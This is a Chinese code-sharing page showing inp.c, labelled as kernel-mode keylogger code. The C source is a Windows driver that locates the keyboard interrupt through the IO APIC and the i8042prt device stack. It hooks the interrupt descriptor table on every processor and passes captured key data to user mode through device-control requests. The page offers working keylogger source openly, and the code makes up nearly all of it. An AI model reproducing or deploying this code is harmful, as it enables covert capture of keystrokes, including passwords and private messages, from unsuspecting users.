⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 inp.c

📁 内核下键盘记录的代码
💻 C
📖 第 1 页 / 共 2 页
字号:
void InpIOAPICConnection(unsigned long ** MappedVirtualVariable)
{
	PHYSICAL_ADDRESS IOAPIC_AREA;     // i/o apic mapped pointer
	
	//
	//  Connect physical memory 0xfec00000 to [MappedVirtualVariable]
	//
	
	IOAPIC_AREA = RtlConvertLongToLargeInteger(0xFEC00000);
	*MappedVirtualVariable = MmMapIoSpace(IOAPIC_AREA, 0x20, MmNonCached);
}

void InpIOAPICDisconnection(unsigned long ** MappedVirtualVariable)
{
	MmUnmapIoSpace(*MappedVirtualVariable, 0x20);
}

ULONG InpGetKeyboardInterruptVector(void)
{
	ULONG ReturnValue = 0;
	
	// IOREGSEL writing
	IOAPICGate[0] = 0x10 + 2 * 1; // 0x10 + 2 * IRQ, Keyboard's irq is 1
	// read IOWIN
	ReturnValue = IOAPICGate[4] & 0xFF;

	//
	// Getting Hardware IRQL to corresponding to the IRQ 1
	// using i8042prt driver's Interrupt Object
	kKeyboardHardwareIrql = (ULONG)GetI8042PrtInterruptObject()->Irql;
	if (!kKeyboardHardwareIrql)
		kKeyboardHardwareIrql = 0x8; // default on single-processor x86 family
	
	DbgPrint("Keyboard Hardware IRQL :: 0x%x\n", kKeyboardHardwareIrql);

	if (!ReturnValue)
		ReturnValue = 0x93; // default ps/2 keyboard vector on wintelXP
	
	return ReturnValue;
}

PKINTERRUPT GetI8042PrtInterruptObject(void)
{
	PDEVICE_OBJECT pDeviceObject = NULL; // Keyboard DeviceObject
	PFILE_OBJECT fileObject;
	UNICODE_STRING keyName;
	PPORT_KEYBOARD_EXTENSION KeyboardExtension;
	PKINTERRUPT ReturnValue = NULL;
		
	RtlInitUnicodeString( &keyName, NT_KEYBOARD_NAME0 );
	
	// Getting the DeviceObject top-of-the-stack of the kbdclass device
	IoGetDeviceObjectPointer(&keyName,
							  FILE_READ_ATTRIBUTES,
							  &fileObject, 
							  &pDeviceObject);
	
	// if fails 
	if( !pDeviceObject )
	{
		DbgPrint("IoGetDeviceObjectPointer Fail.");
		return NULL;
	}
	else
		DbgPrint("Top Object : %x\n", pDeviceObject);

	DbgPrint("Tracking %x \t/Driver/i8042prt\n", ((PR_DEVOBJ_EXTENSION)pDeviceObject->DeviceObjectExtension)->AttachedTo);

	// Tracking the DeviceStack
	//
	//
	// If it is not a i8042prt
	while( pDeviceObject->DeviceType != FILE_DEVICE_8042_PORT )
	{
		// go to the lower level object
		if (((PR_DEVOBJ_EXTENSION)pDeviceObject->DeviceObjectExtension)->AttachedTo)
			pDeviceObject = ((PR_DEVOBJ_EXTENSION)pDeviceObject->DeviceObjectExtension)->AttachedTo;
		else // here is lowest-level and couldn't find i8042prt
		    return NULL;
	}
	//
	// pDeviceObject == i8042prt's DeviceObject
	//
	ReturnValue = (PKINTERRUPT)((PPORT_KEYBOARD_EXTENSION)pDeviceObject->DeviceExtension)->InterruptObject;

	DbgPrint("i8042prt.sys->Interrupt Object :: 0x%p", ReturnValue);
	
	return ReturnValue;
}

void Initialization(VOID (*FunctionPointer)(IN PKDPC, IN PVOID, IN PVOID, IN PVOID))
{
	/*
	 *
	 * Multi-Processor Consideration ::
	 *
	 * Each processor has it's own IDT.
	 * 
	 */
	CCHAR i;
	long currentProcessor;
	PKDPC pkDpc;
	KIRQL oldIrql, currentIrql;
	
	currentIrql = KeGetCurrentIrql();
	
	if (currentIrql < DISPATCH_LEVEL)
		KeRaiseIrql(DISPATCH_LEVEL, &oldIrql);

	InterlockedAnd(&allProcessorDone, 0);

	pkDpc = (PKDPC)ExAllocatePoolWithTag(NonPagedPool, KeNumberProcessors * sizeof(KDPC), (ULONG)' pni');
	
	if (!pkDpc)
	{
		DbgPrint("Insufficient Resource error\n");
		return;
	}

	currentProcessor = KeGetCurrentProcessorNumber();

	for (i = 0; i < KeNumberProcessors; i++)
	{
		KeInitializeDpc(&pkDpc[i],
						FunctionPointer,
						NULL);
		KeSetTargetProcessorDpc(&pkDpc[i], i);
		KeInsertQueueDpc(&pkDpc[i], NULL, NULL);
	}

	// wait for all of the processor's hooking initialization.
	while(InterlockedCompareExchange(&allProcessorDone, KeNumberProcessors - 1, KeNumberProcessors - 1) != KeNumberProcessors - 1)
	{
		_asm pause;
	}
	
	if (currentIrql < DISPATCH_LEVEL)
		KeLowerIrql(oldIrql);

	if (pkDpc)
	{
		ExFreePool(pkDpc);
		pkDpc = NULL;
	}
}

void MPInitializationThread(IN PKDPC Dpc, IN PVOID DeferredContext, IN PVOID SystemArgument1, IN PVOID SystemArgument2)
{
	unsigned long i = KeGetCurrentProcessorNumber();
	unsigned char    buffer[6];
	unsigned int *   IdtrBaseAddress = (unsigned int *)&buffer[2]; // Idtr->Base
	unsigned short * IdtrLimit = (unsigned short *)&buffer[0];
	PIdtEntry_t      IdtEntry;
	
	_asm sidt buffer;
  	IdtEntry=(PIdtEntry_t)*IdtrBaseAddress;	// Get a base address of idt

	OldHandler[i] = ((unsigned int)IdtEntry[0xD].OffsetHigh<<16U)|
				    (IdtEntry[0xD].OffsetLow);

	_asm nop;
	_asm nop;
	_asm nop;
	
  	_asm cli;
	IdtEntry[0xD].OffsetLow=(unsigned short)NewHandler;
 	IdtEntry[0xD].OffsetHigh=(unsigned short)((unsigned int)NewHandler>>16);

	*IdtrLimit = 0xFF;// 0 to 31 are allowed.
	//*IdtrLimit = (8 * n - 1);
	_asm lidt buffer;

	_asm sti;

	InterlockedIncrement(&allProcessorDone);
	DbgPrint("Processor [%x] :: Complete.\n", allProcessorDone);
}

void MPDisabledThread(IN PKDPC Dpc, IN PVOID DeferredContext, IN PVOID SystemArgument1, IN PVOID SystemArgument2)
{	
	unsigned long i = KeGetCurrentProcessorNumber();
	unsigned char    buffer[6];
	unsigned int *   IdtrBaseAddress = (unsigned int *)&buffer[2]; // Idtr->Base
	unsigned short * IdtrLimit = (unsigned short *)&buffer[0];
	PIdtEntry_t      IdtEntry;
	
	_asm sidt buffer;
  	IdtEntry=(PIdtEntry_t)*IdtrBaseAddress;	// Get a base address of idt

	_asm cli;

	*IdtrLimit = 0xFFFF;
	_asm lidt buffer;

	IdtEntry[0xD].OffsetLow=(unsigned short)OldHandler[i];
	IdtEntry[0xD].OffsetHigh=(unsigned short)((unsigned int)OldHandler[i]>>16);
	_asm sti;

	InterlockedIncrement(&allProcessorDone);
}

/*
 *
 *					 Driver Template
 *
 */

VOID DrvUnload(IN PDRIVER_OBJECT pDriverObject)
{
	PDEVICE_OBJECT pDeviceObject;
	UNICODE_STRING uniWin32NameString;
	
	Initialization(MPDisabledThread);

	InpIOAPICDisconnection(&IOAPICGate);
	
	if (OldHandler)
		ExFreePool(OldHandler);

	if (pEvent)
	{
		ObDereferenceObject(pEvent); // delete event reference
		pEvent = NULL;
	}
		
	pDeviceObject = pDriverObject->DeviceObject;

	RtlInitUnicodeString( &uniWin32NameString, DOS_DEVICE_NAME );
	IoDeleteSymbolicLink( &uniWin32NameString );
	IoDeleteDevice( pDriverObject->DeviceObject );
}

NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING RegistryPath)
{
	PDEVICE_OBJECT pDeviceObject = NULL;
	NTSTATUS ntStatus;
	UNICODE_STRING uniNtNameString, uniWin32NameString;
	int i;
	KIRQL testIrql;

	RtlInitUnicodeString( &uniNtNameString, NT_DEVICE_NAME );
	ntStatus = IoCreateDevice (
					pDriverObject,
                    0,	// DeviceExtensionSize
                    &uniNtNameString,
                    FILE_DEVICE_UNKNOWN,		// 
                    0,							// No standard device characteristics
                    FALSE,						// not exclusive device
                    &pDeviceObject
                    );
	if( !NT_SUCCESS(ntStatus) )
	{
		return ntStatus;
	}

	// create dispatch points for create/open, close, unload
	pDriverObject->DriverUnload = DrvUnload;

	RtlInitUnicodeString( &uniWin32NameString, DOS_DEVICE_NAME );
	ntStatus = IoCreateSymbolicLink( &uniWin32NameString, &uniNtNameString );
	if (!NT_SUCCESS(ntStatus))
	{
		IoDeleteDevice( pDriverObject->DeviceObject );
	}

	for( i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++ )
		pDriverObject->MajorFunction[i] = IoDispatch;
	
	pDriverObject->MajorFunction[IRP_MJ_READ]			= 
	pDriverObject->MajorFunction[IRP_MJ_WRITE]			= IoReadWrite;
	pDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IoDeviceControl;

	i = KeNumberProcessors * sizeof(PULONG);
	
	OldHandler = (PULONG)ExAllocatePoolWithTag(NonPagedPool, i, (ULONG)' pni');
	RtlZeroMemory(OldHandler, i);
	/////                            /////
	//                                  //
	//             Start!!!             //
	//                                  //
	/////                            /////
	InpIOAPICConnection(&IOAPICGate);
	KeyboardInterruptVector = InpGetKeyboardInterruptVector();
	Initialization(MPInitializationThread);

	return STATUS_SUCCESS;
} //DriverEntry

NTSTATUS IoDispatch(IN PDEVICE_OBJECT pDeviceObject, IN	PIRP pIrp)
{
	NTSTATUS iStatus = STATUS_SUCCESS;

	pIrp->IoStatus.Status		= iStatus;
	pIrp->IoStatus.Information	= 0;
	IoCompleteRequest( pIrp, IO_NO_INCREMENT );
	return iStatus;
}

NTSTATUS IoDeviceControl(IN	PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp)
{
	NTSTATUS				iStatus = STATUS_SUCCESS;
	PIO_STACK_LOCATION		pStack;
	ULONG					iTransfered = 0;

	HANDLE hEvent;
	
  	pStack = IoGetCurrentIrpStackLocation(pIrp);
	
	switch( pStack->Parameters.DeviceIoControl.IoControlCode)
	{
		case IOCTL_REGISTER_EVENT:
			hEvent = * (PHANDLE) pIrp->AssociatedIrp.SystemBuffer;
			iStatus = ObReferenceObjectByHandle(hEvent, EVENT_MODIFY_STATE, *ExEventObjectType, pIrp->RequestorMode, (PVOID *)&pEvent, NULL);
			break;
			
		case IOCTL_REQUEST_DATA:
			memcpy( (void *)pIrp->AssociatedIrp.SystemBuffer, (const void *)data, sizeof(char [2]));
			iTransfered = sizeof(char [2]);
			break;

		default:
			iStatus = STATUS_INVALID_PARAMETER;
			break;
	}

	pIrp->IoStatus.Status		= iStatus;
	pIrp->IoStatus.Information	= iTransfered;
	IoCompleteRequest(pIrp, IO_NO_INCREMENT);
	
	return iStatus;
}

NTSTATUS IoReadWrite(IN PDEVICE_OBJECT pDeviceObject, IN	PIRP pIrp)
{
	NTSTATUS				iStatus = STATUS_SUCCESS;
	PIO_STACK_LOCATION		pStack;
	ULONG					iTransfered = 0;

	pStack = IoGetCurrentIrpStackLocation(pIrp);
	
	pIrp->IoStatus.Status		= iStatus;
	pIrp->IoStatus.Information	= iTransfered;
	IoCompleteRequest(pIrp, IO_NO_INCREMENT);
	
	return iStatus;
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -